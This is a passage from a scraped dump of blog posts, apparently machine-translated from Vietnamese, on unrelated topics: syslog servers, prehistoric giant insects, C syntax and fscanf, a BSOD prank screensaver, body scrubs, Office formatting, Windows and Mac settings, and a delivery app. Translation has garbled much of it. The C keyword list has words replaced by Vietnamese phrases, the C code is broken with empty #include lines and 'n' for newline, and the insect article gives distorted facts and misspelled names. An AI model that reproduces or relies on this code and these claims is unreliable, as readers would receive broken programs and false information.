$ 200 (4,600,000 VND) for 50 IP addresses, $ 500 (11,500,000 VND) for 500 IP addresses and $ 900 (VND 20,930,000) for 5000 IP addresses . Each Enterprise version supports MS SQL database and allows backing up or deleting log entries. Features and characteristics Overview of server software : Datagram's SyslogServer software is capable of receiving syslog messages and analyzing / storing records in the database. It runs as a Windows service, eliminating the need to maintain login status as a user to keep the socket open. A SQL database is not set up by the installation process, so users will need to configure and connect to a SQL database and at this time, server software supports table startup. automatically and can automatically build the schema. The process is divided into three main parts: Get the log and store them as file, parser and insert log into the database, then process the alert / backup. Overview of client software : Client software connects to the server using ODBC, which means that cross-platform connections are supported. Many clients can connect to the server at a time. The client displays log entries in a database with a color label and can display the live view of the network using automatic updates. Filters : There are many filtering options for log activity. Some of these options include server names, processes, facilities, severity, notifications, or even custom SQL queries. There is also a reasonable NOT port, to exclude certain items. You can even create filter groups and assign devices to groups with one or more filters, configured and ready to use. Warning : The warning configuration window is quite similar to the filter window. All the above mentioned filters are included at the top, and then the warning options are below. Alert options include sending email, popup notifications and thresholds based on login frequency. Compatibility with the operating system SyslogServer software runs on Windows 2000 and later versions, as well as SyslogView and SyslogAgent software. SQL database, as well as having enough storage space is essential. Datagram tuyên bố rằng 5 triệu mục sử dụng khoảng 1 Gigabyte dung lượng ổ đĩa.\nLink tải Kiwi Syslog Server.\nẢnh chụp màn hình minh họa\n        Lưu ý: Phần mềm này đã ngừng phát triển và hiện tại bạn chỉ có thể tải về phiên bản cũ.\nSee more:\n7 free network tools for Admin Top 10 basic network troubleshooting tools that IT people need to know System log in Unix / Linux ncG1vNJzZmismaXArq3KnmWcp51kwbC8jJ%2Bpnp1dlrulec%2BaoJ1lo67ArbvGZqqeqqaav26%2Fzp%2BrsJmimnqnu9FmrqKmlKTEtA%3D%3D\n","link":"/post/top-free-and-paid-syslog-server-software-for-windows/","section":"post","tags":null,"title":"Top free and paid Syslog Server software for Windows"},{"body":"If the insects were mutated and reached a huge size, then perhaps the usual sharp weapons of humans could not cope with them. And obviously it is a great advantage to be able to survive in the natural environment. So why in the past have insects grown so big in size, but over time they have evolved to shrink in size?\nIn 1880, in Commentry, southern France, coal miners unintentionally dug out fossils of a giant insect with oversized wings. In 1885, French paleontologist Charles Bloomoniat, after careful observation and research, named it Meganeura - the Giant Dragonfly.\nIn 1979, another fossil of a giant dragonfly was found in Bolsover and is now stored in the French National Museum of Natural History in Paris.\n This dragonfly looks quite similar to modern dragonflies, but the difference is that their wings are up to 75cm long, many times longer than modern dragonflies and this is also considered a large insect. The most ever existed on Earth.\nIn terms of size, the Meganeura possesses the size of a modern eagle, their main food is flying insects, reptiles, even they also eat small populations. living at the same time with me. And perhaps they are also the inspiration for the giant dragonflies in Michael Crichton's Jurassic Park novel.\nThe giant dragonflies Meganeura lived during the Carbon period about 300 million years ago. This means that they existed in this world earlier than the giant dinosaurs lived 250 million to 65 million years ago.\nDuring this period, in addition to the giant dragonflies, there are also large and long-sized mosquitoes on Earth, the arthropods can be up to 1.55 meters long and giant tadpoles 2 , 6 meters . all giant insects are almost all products of this era. Therefore, the Carbon period is also known as the \"era of giant insects\".\n These giant arthropod species have lived on Earth for about 50 million years and disappeared during the mass extinction.\nBut then they were reborn again, only their size was much smaller than before. Over time and the evolution of life, these insects have gradually become the size they are now.\nInsects have grown to their size and dominate the world, but why have they become so small creatures that they can easily be removed with a single hand of a human?\nIn 2012, paleontologists Matthew Clappen and Jared Carr at the University of California, Santa Cruz published an article stating that they had compiled a database of more than 10,500 insect fossils in 320 million. last year to learn about the changes in wing lengths and their size in evolution.\n They found that during the first 150 million years of insect evolution, their body size was positively correlated with the oxygen concentration at that time.\nIn an environment with high oxygen content, insects tend to increase in body size, however, this relationship also gradually disappears over time and insects also become smaller.\nThe moment when the insect's body shape began to shrink coinciding with an increase in the number of ancient bird of prey, they evolved to have wings almost similar to those of modern birds.\nFossil studies show that the birds at the time had an almost similar anatomical structure to that of winged dinosaurs, but their ability to prey greatly improved.\nThat means that large insects will be easily discovered and easily become the target of ancient birds.\nBut 60 million years ago, accompanied by the evolution of bats, the mass extinction of the Cretaceous as well as the evolution of birds once again caused the insects to shrink in size. to survive and become harder to detect.\n So why is the age of Earth's giant insects so rich in oxygen? Carboniferous is the period that represents the prosperity of the plant world. At that time, the climate was warm and humid, very beneficial for the growth of plants. Terrestrial plants gradually move from along the coast to the mainland, forming forests and swamps and causing much higher levels of oxygen than today.\nCurrently, the oxygen content in the atmosphere is about 21%. However, in a study by Yale University biologist Robert Berner and his team, the amount of oxygen in the atmosphere during the Carbon period can be as high as about 35%, much higher than current levels. .\n And to prove that the oxygen content is related to the size of insects, scientists nurtured dragonflies of the same generation under different aerobic conditions. And the result was not unexpected, dragonflies reared in high-oxygen conditions grow faster and 20-15% longer than those in the wild.\nAlthough their size is still many times smaller than their ancestors in the carbon period, this variation can still explain that oxygen concentration has a certain effect on dragonfly's body length. .\nTherefore, before the appearance of natural enemies, oxygen levels on Earth were clearly associated with changing the size of insects.\n But not all experiments show a correlation between insect size and oxygen concentration. Jon Harrison, an insect researcher at the University of Arizona, and his colleagues did the same experiment.\nThey studied locusts, rice weevils, and some other insects, then reared them in environments with different concentrations of oxygen. It has been found that insects in high oxygen environments are unlikely to achieve a larger size than in the wild. Similarly, insects reared in low oxygen environments are not all reduced in size.\nThe scientists then did similar experiments with fruit flies, and the results were consistent with Jon's experiments, some of which grew in size in high-oxygen environments and some did not.\nSo why do insects abandon their huge bodies and instead become smaller and smaller? This is still worthy of further research by scientists, but it is certainly the result of adapting to the environment, and shrinking the size has allowed them to occupy almost every ecological environment on the planet planet.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJ2mZqGeqLKkwNJmmJuZnpm8r3nToZyiql2hrrOzxGanq52YnsC1u9Gimmaan5m2pr%2BMmqWdZZKasLC5xGaqppmcobKzecCnm2arnZa5rbHR\n","link":"/post/why-do-insects-abandon-their-large-prehistoric-bodies-and-become-smaller-and-smaller/","section":"post","tags":null,"title":"Why do insects abandon their large prehistoric bodies and become smaller and smaller?"},{"body":"You already know about the basic structure of the C program, now you will easily understand the basic blocks in the C language.\nThe Token in C In C language, there are many different tokens and a token can be a keyword, an identifier, a constant, a string or a character. For example, the following C command line includes the following 5 tokens:\nprintf ( \"Hello, World! n\" );  Separate tokens are as follows:\nprintf ( \"Hello, World! n\" ) ;  Semi-colon ; in C Program C, semicolon is part of the command end. In fact, each command in C must end with a semicolon. It informs the end of a logical attribute.\nThe following example is 2 commands:\nprintf ( \"Hello, World! n\" ); return 0 ;  Comment in C The comment is the same as the help in C program and is ignored by the compiler. It starts with / * and ends with * / as below:\n/* Day la chuong trinh C dau tien */  You cannot add a comment section inside this comment section.\nIdentifier in C An identifier in C is a name used as a user-defined variable, function, and component. An identifier can start with characters A through Z, a to z and underscore (_) and 0 to 9.\nC does not allow signs such as @, $, and% in identifiers. C is a language that distinguishes lowercase letters - uppercase letters . Therefore, QTM and qtm are two different identifiers in C. Here are a few valid identifiers:\nnam hoangminh abc ha_noi a_123 sinhvien _hocphi j d23b5 nhanVien  Keywords in C Below is a list of keywords that are reserved in the C language. Identifiers or variables, constants cannot name the same as the keywords below, otherwise the program will report an error.\nauto else long switch break enum register typedef case extern return union char float short unsigned const cho ký hiệu không thể thực hiện goto sizeof volatile default if static khi có số struct _Packed double White space in C A line may contain spaces, possibly comment lines, known as white lines when the same compiler is ignored when compiling.\nA space in C can be a blank paragraph, tab, newline (new line) or comment. A space divides a part of a command into parts and helps the compiler distinguish a component in a command, such as int, end the component, and start the next component as follows:\nint diemthi ;  There must be at least one character space between int and diemthi for the compiler to understand and distinguish them. On the other hand, see the command below:\nluong = luongcoban + phucap ; // tinh tong luong  There is no need for a space between the space and the = sign, or between = and luongcoban.\nAccording to Tutorialspoint\nPrevious article: Basic C program structure\nNext lesson: Data type in programming C\nncG1vNJzZmismaXArq3KnmWcp51kr6K%2FyJxkrLGeqa65ec6fZJxloKe8qL7ApqSippc%3D\n","link":"/post/basic-syntax-of-c-programming/","section":"post","tags":null,"title":"Basic syntax of C programming"},{"body":"Blue Screen of Death (BSOD) has become a symbol of Windows, especially on older OS versions, when this error is even more common now.\nThe deadly blue screen error always annoys users, especially because it appears suddenly, often, but creating this error is a popular joke. Microsoft itself has a 'map' to tease friends, in the form of screensavers released more than a decade ago.\nHow to create a blue screen of death (BSOD) to \"prank\" friends\nCalled BlueScreen Screen Saver, this tool is not developed by MIcrosoft itself but acquired by them in the Winternals acquisition in 2006. That was the year that this screensaver was released, users can download it on the website. of Microsoft and can still download today.\nThis screensaver is the product of Mark Russinovick, currently CTO of Microsoft Azure, formerly the founder of Winternals Software, along with Bryce Cogswell. Russinovich also founded the famous website sysinternals.com, where he released many useful and very popular tools for Windows, later bought by Microsoft.\nBlueScreen Screen Saver supports Windows 95, 98, 2000, XP and Windows Server 2003, each copy has a copy of BSOD screen so that it is the most realistic.\n'One of the scariest colors in the Windows NT world is blue. The infamous blue screen of death appears on the NT when something goes wrong. BlueScreen is a screensaver screen that not only mimics BSOD but also creates a screen that starts up during system startup '.\n  Blue screen of death created by BlueScreen Screen Saver\nWhether using this tool on a new OS like Windows 8 or Windows 10 would be unreasonable because Microsoft changed the design of BSOD, screensaver screens still have options you can't find in similar applications, like possible read information from the system to display related error information on the hardware in use.\n'BlueScreen will change constantly between the blue screen and the fake boot screen every 15 seconds. All information displayed on the BSOD screen and boot screen are taken from the system, its accuracy will make the best NT programmers also deceived. Information such as the number of builds, the processor, the current driver, the address, the drive nature, the amount of memory are all taken from the machine that BlueScreen is running '.\nAlthough screensavers are no longer in use today, despite the BSOD's reputation, Microsoft still uses them to give users a chance to tease friends.\nNot only has the new design, BSOD has a Green Screen of Death operator (GSOD) used by Microsoft on preview builds to update Windows 10 to see if the error occurred in the finished OS version. GSOD is available on the build for those who participate in the Windows Insider Program. As long as anyone reports this error, Microsoft will know it comes from the pre-release version.\nLink download Bluescreen Screen Saver https://docs.microsoft.com/en-us/sysinternals/downloads/bluescreen\nSee more:\nSummary of some ways to fix Windows 10 crash, BSOD error and restart error How to find the cause of blue screen death and Minidump errors? Summary of some ways to fix BSOD blue screen death error ncG1vNJzZmismaXArq3KnmWcp51ksbB52KisZqOepMRuwMeaq2almZi%2FsL%2FOn6tmmZyovG60wKxkm6Slmnq0r9GenKerkauys3nSnKmenZ6orrex0aw%3D\n","link":"/post/do-you-know-that-microsoft-also-has-blue-screensaver-screensavers/","section":"post","tags":null,"title":"Do you know that Microsoft also has blue screensaver screensavers"},{"body":"The int fscanf function (FILE * stream, const char * format, .) in Library C reads the input formatted from a Stream.\nDeclare the function fscanf () in C Below is the declaration for fscanf () function in C:\nint fscanf ( FILE * stream , const char * format , .)  Parameters\nstream - This is the pointer to a FILE object that identifies the Stream.\nformat - This is the string that contains one or more of the following: Whitespace characters, Non-whitespace and Format specifier characters. A format specifier will be the form [=% [*] [width] [modifiers] type =] , explained as follows:\nParametersDescription * This is a starting asterisk (optional) to indicate that the data is read from the Stream but ignored, for example, it is not stored in the corresponding parameter width Specifies the number of characters maximum read in current readings modifiers Define a different size from int (in the case of d, I and n), unsigned int (in the case of o, u and x) or float (in case e, f and g) for data pointed by the corresponding additional parameter: h for int short (for d, i and n), or unsigned short int (for o, u and x); l for int long (for d, i and n), or unsigned long int (for o, u and x), or double (for e, f and g); L for long double (for e, f and g) type A character specifying the type of data to be read and how it is expected to be read. You follow the next table Type specifier for fscanf function\nTypeInput Shock type Single character: Read the next character. If a width other than 1 is specified, this function reads the width of characters and stores them in consecutive array positions that have been passed as parameters. No null characters are appended to the end of char * d Decimal integer numbers: This number is arbitrarily preceded by a + sign or - int * e, E, f, g, G floating point numbers: The decimal number contains a decimal point, arbitrarily preceded by a + or - sign and followed arbitrarily by the letter e or E and a decimal number. Two valid examples are -732.103 and 7.12e4 float * o Octal integer int * s Character string. It will read consecutive characters until a whitespace is found (maybe blank, newline) and tab) char * u Decimal integers unsigned int * x, X Hexadecimal integers segment int * Additional parameters - Depending on the format format string, this function may have an additional parameter array, each containing a value to be inserted instead of each% -tag specified in the format parameter. , if. This number of parameters should be the same number as% -tags that expect a value.\nReturns the value\nThis function returns the number of entries connected and successfully assigned or 0 if the connection failed.\nFor example\nThe following program C illustrates the usage of the fscanf () function in C:\n#include #include int main () { char str1 [ 10 ], str2 [ 10 ], str3 [ 10 ]; int year ; FILE * fp ; fp = fopen ( \"baitapc.txt\" , \"w+\" ); fputs ( \"Toi sinh nam 2016\" , fp ); rewind ( fp ); fscanf ( fp , \"%s %s %s %d\" , str1 , str2 , str3 , \u0026amp; year ); printf ( \"Doc chuoi 1: |%s|n\" , str1 ); printf ( \"Doc chuoi 2: |%s|n\" , str2 ); printf ( \"Doc chuoi 3: |%s|n\" , str3 ); printf ( \"Doc so nguyen: |%d|n\" , year ); fclose ( fp ); return ( 0 ); }  Compiling and running the above C program will result:\n  According to Tutorialspoint\nPrevious lesson: The function vsprintf () in C\nNext lesson: Function scanf () in C\nncG1vNJzZmismaXArq3KnmWcp51ks7a6wq2gqKZdm8Ckrc2fZKKmXZg%3D\n","link":"/post/function-fscanf-in-c/","section":"post","tags":null,"title":"Function fscanf () in C"},{"body":"You do not dare to wear charming and daring costumes just for a dark, lifeless skin? Let us help you regain the youthful and smooth look with the top 4 simple home remedies that are as effective as the spa.\nQuick review of content Exfoliating whole body with coffee grounds Exfoliating body scrubs at home with honey and brown sugar Exfoliating the whole body with coconut oil and sea salt Exfoliating whole body with coffee grounds Coffee grounds? It's correct! You don't look wrong. For many people, coffee grounds are discarded objects, no longer worth using, but for you it can be a great beauty ingredient. In coffee grounds, it contains caffeine, alkaloids, magnesium, iron, . which have the effect of deodorizing, exfoliating and treating acne effectively.\nProceed:\nStep 1: Add coffee and fresh milk to the bowl at a ratio of 2: 1 and mix well\nStep 2: clean the skin, then apply the mixture just mixed, gently massage for about 20-30 minutes.\nStep 3: rinse skin with clean water\n  Exfoliating effectively with coffee grounds\nExfoliating body scrubs at home with honey and brown sugar The beauty effect of honey and brown sugar has been known since ancient times. Honey contains many precious nutrients especially effective in antibacterial and moisturizing. Brown sugar is a source of vitamins, calcium, potassium, iron, . plentiful and has the effect of skin care and effective exfoliation.\nProceed:\nStep 1: Mix brown sugar and honey together at a ratio of 1: 3\nStep 2: clean the body and then apply the mixture to the skin. Use your fingers to gently massage for 15 minutes.\nStep 3: rinse skin with clean water\n  Honey and brown sugar - a natural beauty ingredient\nExfoliating the whole body with coconut oil and sea salt Coconut oil and sea salt are also familiar names in beauty formulas. In sea salt contains many good nutrients that balance skin moisture, protect skin and prevent signs of aging. Coconut oil has the effect of moisturizing, eliminating dead cells and excess oil, blurring acne and limiting melasma formation.\nProceed:\nStep 1: Mix coconut oil and sea salt in a ratio of 1: 2. To increase the effectiveness of body scrub, you can add 2-3 drops of lemon juice.\nStep 2: wash your body, wipe dry and then apply the mixture to your skin. Use your fingertips to gently massage for 15 minutes.\nStep 3: rinse with clean water\n  Simple, effective body scrub with coconut oil and sea salt\nNote: Which of the 3 formulas you use, you should note some of the following:\nDo not rub too hard to make your skin hurt Each week should only perform body scrubs 1-2 times Need to use conditioning products after exfoliating to get the best effect Limit direct sun exposure when recently exfoliated Just do the upper body scrubs combined with the appropriate skin care product, you will soon regain the smooth, seductive skin. Visit META.vn to learn more about the beauty experience.\n\u0026gt;\u0026gt;\u0026gt; More references:\nHow to exfoliate good lips, the simplest? How to make an exfoliating mask from natural ingredients for all skin types ncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ6dn52Tqba3sYyaq2agn6Kybq7OnbBmq5OnwqO%2FjKKqZqSZoLJurYysp5o%3D\n","link":"/post/how-effective-at-home-body-scrubs-is-like-a-spa/","section":"post","tags":null,"title":"How effective at home body scrubs is like a spa"},{"body":"In PowerPoint 2016, Indent and Line Spacing are two important features you can use to change the way text appears on a slide. The Indent feature can be used to create lists of multiple levels or to place paragraphs visually separate from other sections. Line Spacing can be adjusted to improve the readability of the text or to be able to put more lines on a slide.\nIndent and Line Spacing in PowerPoint 2016 How to align text Align lists and paragraphs Refine the alignment feature Customize bullet spacing  Line Spacing The line spacing format  How to align text Alignment helps format text layout, so that it appears more organized on a slide. The fastest way to align is to use the Tab key . Another method is to use one of the Indent commands. With these commands, the user can increase or decrease the alignment.\nTo align with the Tab key : Place the cursor at the beginning of the line you want to align, then press the Tab key.   To align using Indent commands : Place the cursor at the beginning of the line to align. From the Home tab , select the Increase List Level command.   To reduce alignment, select the desired line, then press Shift + Tab or select the Decrease List Level command.\nAlign lists and paragraphs Alignment will give different results, depending on whether the user is working with a list or a paragraph.\nParagraph: Aligning the first line of a paragraph with the Tab key separates the paragraphs together, as in the examples above. List: Line up a list will create a list of multiple levels. This means that the newly aligned line is a small topic of the line on it. The multi-level list is useful if you want to create an outline or a hierarchical list.   Once you have created a multi-level list, you may want to choose a different bullet type for different levels, to make them stand out even more.\n  Refine the alignment feature Sometimes you may want to fine-tune the paragraphs that align with your presentation. You can do this by adjusting the alignment points on the Ruler tool. By default, the Ruler tool is hidden, so you first need to display it.\nHow to display the Ruler tool\n1. Select the View tab on the Ribbon.\n2. In the Show group , select the box next to Ruler. The Ruler tool will appear.\n  Indent markers\nIndent markers are placed to the left of the horizontal ruler and they provide some alignment options.\nFirst-line indent marker : Adjust the first line of the paragraph.   Hanging indent marker : Adjust every line of the paragraph except the first line.   Left indent marker : Move both the first-line indent and the hanging indent marker at the same time, align all lines in a paragraph.   Align using Indent markers\n1. Place the cursor anywhere in the paragraph you want to align or select one or more arbitrary segments.\n2. Select the desired indent marker. In this example, the article will use the Left indent marker .\n  3. Click and drag the indent marker if needed. When completed, the selected text will be aligned.\n  Customize bullet spacing When working with lists, PowerPoint allows you to fine-tune the space between bullets (bullet marks) and text by using the first-line indent marker or hanging indent marker .\nHow to change the distance between the bullet\n1. Select the lines you want to change, then select the desired indent marker. In this example, the article will use hanging indent marker .\n  2. Click and drag the indent marker if needed. When you finish, the spacing between the bullet will be adjusted.\n  Line Spacing PowerPoint allows you to adjust the amount of space between each line in the list or paragraph. You can reduce line spacing to make room for more lines on a slide or you can increase line spacing to make the text easier to read. In some cases, PowerPoint can automatically change the font size when you adjust the spacing between lines, so increasing the line spacing too much may cause the text in the text to be too small.\nThe line spacing format 1. Select the text you want to format.\n  2. On the Home tab , locate the Paragraph group , click the Line Spacing command , and then select the desired line spacing option from the menu.\n  3. Line Spacing will be adjusted.\n  If you want to adjust line spacing with even higher accuracy, select Line Spacing Options from the drop-down menu. The Paragraph dialog box will appear, allowing you to fine-tune the line stretch and adjust paragraph spacing (paragraph spacing is added space before and after each paragraph).\n  See more:\nCreate and open presentations in PowerPoint 2016 Presenting slide shows in PowerPoint 2016 Apply transition effects in PowerPoint 2016 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmcnrSvecCnm2arpKeyta%2FHZqOippWoeqq6jKmmsJ2ipbyqutNmaWlpZg%3D%3D\n","link":"/post/how-to-align-and-stretch-lines-in-powerpoint-2016/","section":"post","tags":null,"title":"How to align and stretch lines in PowerPoint 2016"},{"body":" Changing your text orientation can be useful if you want to create sidebars in a newsletter, tear-off tabs at the bottom of a 'for sale' flyer, or more readable column headings in a table. Here's how to change your text alignment in both...\nMethod 1of 3:\nWriting Vertical Words  Follow this method for horizontal letters in a vertical orientation. This method creates text with each letter of a word below the last, like a tall, narrow street sign. If you're trying to rotate the letters so you have to turn your head to read them, skip down to the other instructions.\n  Insert a text box. A text box makes it much easier to adjust the position and orientation of text. Add it to your Word document as follows: Word 2007 or later: On the ribbon menu above your document, click the Insert tab, then Text Box, then Draw Text Box. Click and drag in the document.[1] Word for Mac 2011 or later: Select Home on the ribbon menu, then click Text Box on the right hand side. Click and drag in the document. Word 2003 / Word for Mac 2008 or earlier: Select Insert → Text Box from the top menu. Click and drag in the document.[2]   Type in your text. Click the text box and type in the text you'd like to orient vertically. If you already typed it in to the document, copy and paste it into the text box.\n  Click the text box. A rectangular outline will appear around the text. Each corner of the box has a circle. These circles are \"handles\" you can pick up and drag to change the box size.\n  Drag the corner of the text box. Click and hold on any corner of the text box, then move the cursor. Drag the corner to make the text box a tall, narrow shape. Once the box becomes too narrow to display two letters side by side, they will shift on top of each other instead. If the box is rotating, or if it's moving without changing shape, you didn't click it right. Try again and make sure to click the corner of the box.  Method 2of 3:\nRotating a Text Box (Word 2007 and later)  Check your version of Word. This method covers Word 2007 or later on a Windows, and Word 2011 or later on a Mac. If you don't know your version number, here's an easy test: if there's a \"ribbon menu\" of icons above your open document, follow these instructions. If there's no ribbon menu skip to the next method instead. If you only see a row of tabs labeled \"Home,\" \"Layout,\" etc., click on one of these tabs to expand the ribbon menu.   Insert a text box. Click the Text Box button on the ribbon menu. This is under the Insert or Home tabs, depending on your version of Word.\n  Type in the text box. Click on the text box and type in the text you'd like to rotate. Notice that clicking on the text box makes a border appear.\n  Click the circle above the text box. Look for a line that extends above the border of the text box, ending in a circle. Click and hold this circle.\n  Drag to rotate the box. Move your cursor while holding down on the circle to rotate the text box. After rotating, when you click the box to edit the text, it may snap back to the normal orientation. This is just to make it easier for you to see what you're doing. It should return to the position your chose after you click outside the box.   Hold Shift for cleaner rotating. Hold down Shift while rotating to limit the possible positions. This makes it easier to rotate to even 45º or 30º angles, and to make parallel text boxes.\n  Use menu options instead. If you're having trouble achieving the look you want, try rotating using menu commands instead:[3] Double-click the text box to open the Format ribbon menu, or select the Format tab. Click the Text Direction button in the ribbon menu. In some versions this is a small, unlabeled button with an image of vertical text. Select one of the options from the drop-down menu.   Lesley Montoya Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55ln6e2prrTmquip55ivKd5056vrWWZo3qutcKrpqynlql6uLvRnQ%3D%3D\n","link":"/post/how-to-change-the-orientation-of-text-in-microsoft-word/","section":"post","tags":null,"title":"How to Change the Orientation of Text in Microsoft Word"},{"body":"Windows 10 has just been sent by Microsoft for many expectations, as well as getting the user community's expectations for a new, safer, faster, smoother operating system . in short, 1 complete makeover compared to older Windows versions.\nHowever, with the new interface, many users are still not familiar with the operation on Windows 10, such as changing the system date and time on Win 10. Below will guide you how to change the date and time on Windows 10 about the time you want and fix Windows 10 error showing wrong date and time.\nSet the appropriate time zone on Windows 10 Step 1: You navigate to Settings\u0026gt; Time \u0026amp; language\u0026gt; Date \u0026amp; time.\nStep 2: In the Time zone , select the correct time zone where you live (if you are in Vietnam, you change the Time zone section to UTC + 7 ).\n  When you change the time zone, the system will automatically change the corresponding display time, no need to press OK or any other buttons.It's convenient, isn't it?\nTurn on the auto-time feature If your computer is currently connected to the internet, you can allow Windows 10 to set the time automatically.Here are the steps to proceed:\nStep 1: Open the Settings application. Navigate to Time \u0026amp; language\u0026gt; Date \u0026amp; time.\nStep 2: Turn off the Set time automatically option if this option is enabled.Then turn this option on again immediately.\n  Check if the Windows Time service is running As you know, Windows 10 has a service running in the background called Windows Time to maintain the synchronization between the date and time.To check if this service is running, follow these steps:\nStep 1: Open the Run search box, type keywords services.msc and then press Enter to open the Services window.\nStep 2: In the Services window, find the Windows Time service and then double-click it to open the Windows Time Properties dialog box.\n  Step 3: Make sure the service's startup type is automatic and the service status is running . If the displayed service status is stopped , click on the Start button to restart the service.\n  Set the date and time manually Step 1: Go to Settings\u0026gt; Time \u0026amp; language\u0026gt; Date \u0026amp; time.\nStep 2: Turn off the option to set the automatic time ( Set time automatically ). In the Change date and time section , click the Change button directly below.\n  Step 3: Choose the right date and time.Then click the Change button to proceed to set a new date and time.\n  Check the CMOS battery CMOS battery (CMOS battery) is the component responsible for maintaining the correct date and time on your computer even when the computer is turned off.If the CMOS battery is exhausted, your computer cannot maintain the correct date and time.\nIn this case, please contact your PC manufacturer to know how to replace the CMOS battery.However, replacing a CMOS battery on a desktop computer is also very easy and you can do it yourself.\nSee more:\nHow to type Vietnamese on Windows 10 How to fix an unreadable, inactive Search Windows 10 error Hidden features on Windows 10 Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytoKadXZmutbGMmqWdZZ2ku7W0jKKlZq%2BZo7Gww9JmaGk%3D\n","link":"/post/how-to-change-time-date-and-month-in-windows-10/","section":"post","tags":null,"title":"How to change time, date and month in Windows 10?"},{"body":"Our removal of the application on Mac OS will not be unfamiliar to those who use it. Right-click the application, select Move to Trash and proceed to delete in Trash. However, an error when uninstalling the application on the computer will sometimes cause trouble for users. That is, you cannot uninstall the application from the computer and be told The item can't be moved to the Trash because it's open.\nThis error is because the application you want to delete still has the process running on the machine in the background even though we have exited the application according to the usual operations. So how can I solve the problem of not removing the application on Mac OS?\n  Step 1: First, click the Finder icon on the Dock .\n  Step 2: Next, in the Favorites list interface, select Applications .\n  Step 3: Right at the interface, we'll find the Utilities section and double click on it.\n  Step 4: In the next new window view, look down at the list below and double click on the Activity Monitor application.\nOr to quickly open the Activity Monitor, we can press Command + Spacebar, type Activity Monitor keyword in the Spotlight search box and then press Enter.\n  Step 5: In the Activity Monitor application interface,\u0026nbsp; The user types in the name of the application you want to exit in the Search corner box at the top right of the screen. Then click on the name of the application you want to remove.\n  Step 6: Next, we will click the X Force a process to quit icon at the top left of the interface.\n  After that, a new notice appears. Click the Quit button to close the running process of the application.\n  Thus, the application is completely closed on the Mac when we have removed the application's background running process. Now, you can perform the operation to delete the application on Mac OS as before without worrying about deleting the application.\nRefer to the following articles: Summary of the list of common shortcuts on Mac OS X Old Mac acceleration runs as fast as when you first bought it with these tips Share files and folders between Mac OS X and Windows 7 I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmnKuqn6d6pK3Np6atZZSauabAxGaroZ1dlr2xuMicmK2hn6N6sLqMppicZZ%2Bo\n","link":"/post/how-to-fix-the-error-cannot-delete-the-application-on-mac-os/","section":"post","tags":null,"title":"How to fix the error cannot delete the application on Mac OS"},{"body":" Anyone who owns both a Mac computer (either laptop or desktop) running macOS Sierra and an iPhone can now—in addition to sending and receiving iMessages—send messages to phones with regular text messages! Set up an account with Apple if you...\nPart 1of 4:\nSetting Up Apple ID and iCloud Accounts  Set up an account with Apple if you have not already done so by creating an Apple ID. In order for your Mac to recognize your iPhone and allow it to send its text messages, you will need to link the two by signing in with an Apple ID. Most users will have this account already; it is the account you use to sign in to iTunes, the App Store, and apple.com. If you have already created an Apple ID, you already have an iCloud account and can proceed to Part 2.   Go to this link on your Mac. Alternatively, go to apple.com, scroll to the bottom, and under \"Account,\" click on \"Manage Your Apple ID.\"\n  Click \"Create Your Apple ID.\" Follow the steps on the next page and confirm your email to finish creating your Apple ID. The email associated with your Apple ID and its password are what you will use to sign in to iCloud on your iPhone and Mac.  Part 2of 4:\nSigning into iCloud on your iPhone and Mac  Sign in on your iPhone. Tap \"Settings\". Scroll down to find \"iCloud\". Sign in with your Apple ID (either your existing one or the ID you created in Part 1). Return to the \"Settings\" home screen.   Sign in on your Mac. Click on \"System Preferences\" Click on \"iCloud\" Sign in with the same Apple ID.  Part 3of 4:\nEnabling Text Messaging on your Mac  On your Mac, open the \"Messages\" application.\n  Click the \"Messages\" drop down menu at the top of the menu screen. Select \"Preferences...\"..\n  Select the \"iMessage\" option on the left and log in with your Apple ID as shown below. If you haven't previously set up an iMessage account with your \"Messages\" application, it will be blank.\n  Customize your settings if you'd like. Once logged in, all default settings you will need will already be checked off. If you want to customize these settings, just make sure that \"Enable this account\" and your phone number and email address associated with your Apple ID remain checked to ensure text messages will still be able to be sent and received from your account and phone number. Leave this window open for now.\n Part 4of 4:\nEnabling Text Messaging on your iPhone  On your iPhone, open \"Settings\" and from the \"Settings\" home page, scroll down to \"Messages\".\n  Tap on \"Messages\" and then \"Text Message Forwarding\".\n  Under this menu, find the name of your computer and switch it on.\n  On your Mac, the \"Messages\" application should now show you a notification providing you with a six-digit verification code. Enter this code on the notification that pops up on your iPhone and tap \"Allow\".\n Congratulations! You will now be able to send and receive the same text messages on your Mac that you send and receive on your iPhone!\n   Lesley Montoya Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVo7Furc2dZKudk5q2t7GMrZyxrF2isrS%2FwKCcrGWfo3qurcKoqmarmZq%2Fs60%3D\n","link":"/post/how-to-send-and-receive-text-messages-on-macos-sierra/","section":"post","tags":null,"title":"How to Send and Receive Text Messages on macOS Sierra"},{"body":"Shipping services are booming in many countries with developed online shopping services, which can be purchased via online shopping applications or simply individuals with products to sell on social networking sites, most is on Facebook. Then the seller will need the courier service.\nLalamove is a support application that users can create very fast and reputable delivery orders, assist sellers to deliver goods when there are far-away customers without people going to ship goods, in addition to delivery, Lalamove also supports people use furniture to move when moving. If you are selling and want to make a fast delivery, follow the instructions in the following article of QuanTriMang to call \"Shipper\" for delivery.\nDownload Lalamove for iOS Download Lalamove for Android Instructions for creating fast delivery orders by Lalamove on the phone Step 1: If you do not have a Lalamove account, please see how to create an account in the article How to create a Lalamove account. When you have an account, log in to the Lalamove app.\nFirst, set up the location where Shipper will receive the goods from you, click on the Delivery Point and drag the orange position pin point to the location you are in, or you can type the correct address with the input box above.\nIf you want more details, please add the number of houses, floors, room numbers, phone number, contact name to take the Shipper to take place, then click on Set up receiving points.\n   Step 2: After the receiving point will be the delivery point, similarly write down the delivery point information and click Set up delivery point.\n   Step 3: Next to the main screen, you can choose additional options such as collecting money (only less than 2 million), ship is finished returning to the receiving point . Each option will add a little fee on the price of the shipment, finally choose the delivery time.\nGo to the section to write down the details of the item, here you can record what you delivered and what value of the delivered item is worth. For example: \"iPhone 7 Plus 32GB is worth VND 17,900,000\" . When finished, click Order.\n   Step 4: When it is time to select payment method, you can choose to pay by Cash or pay by Lalamove wallet, usually many people will choose to 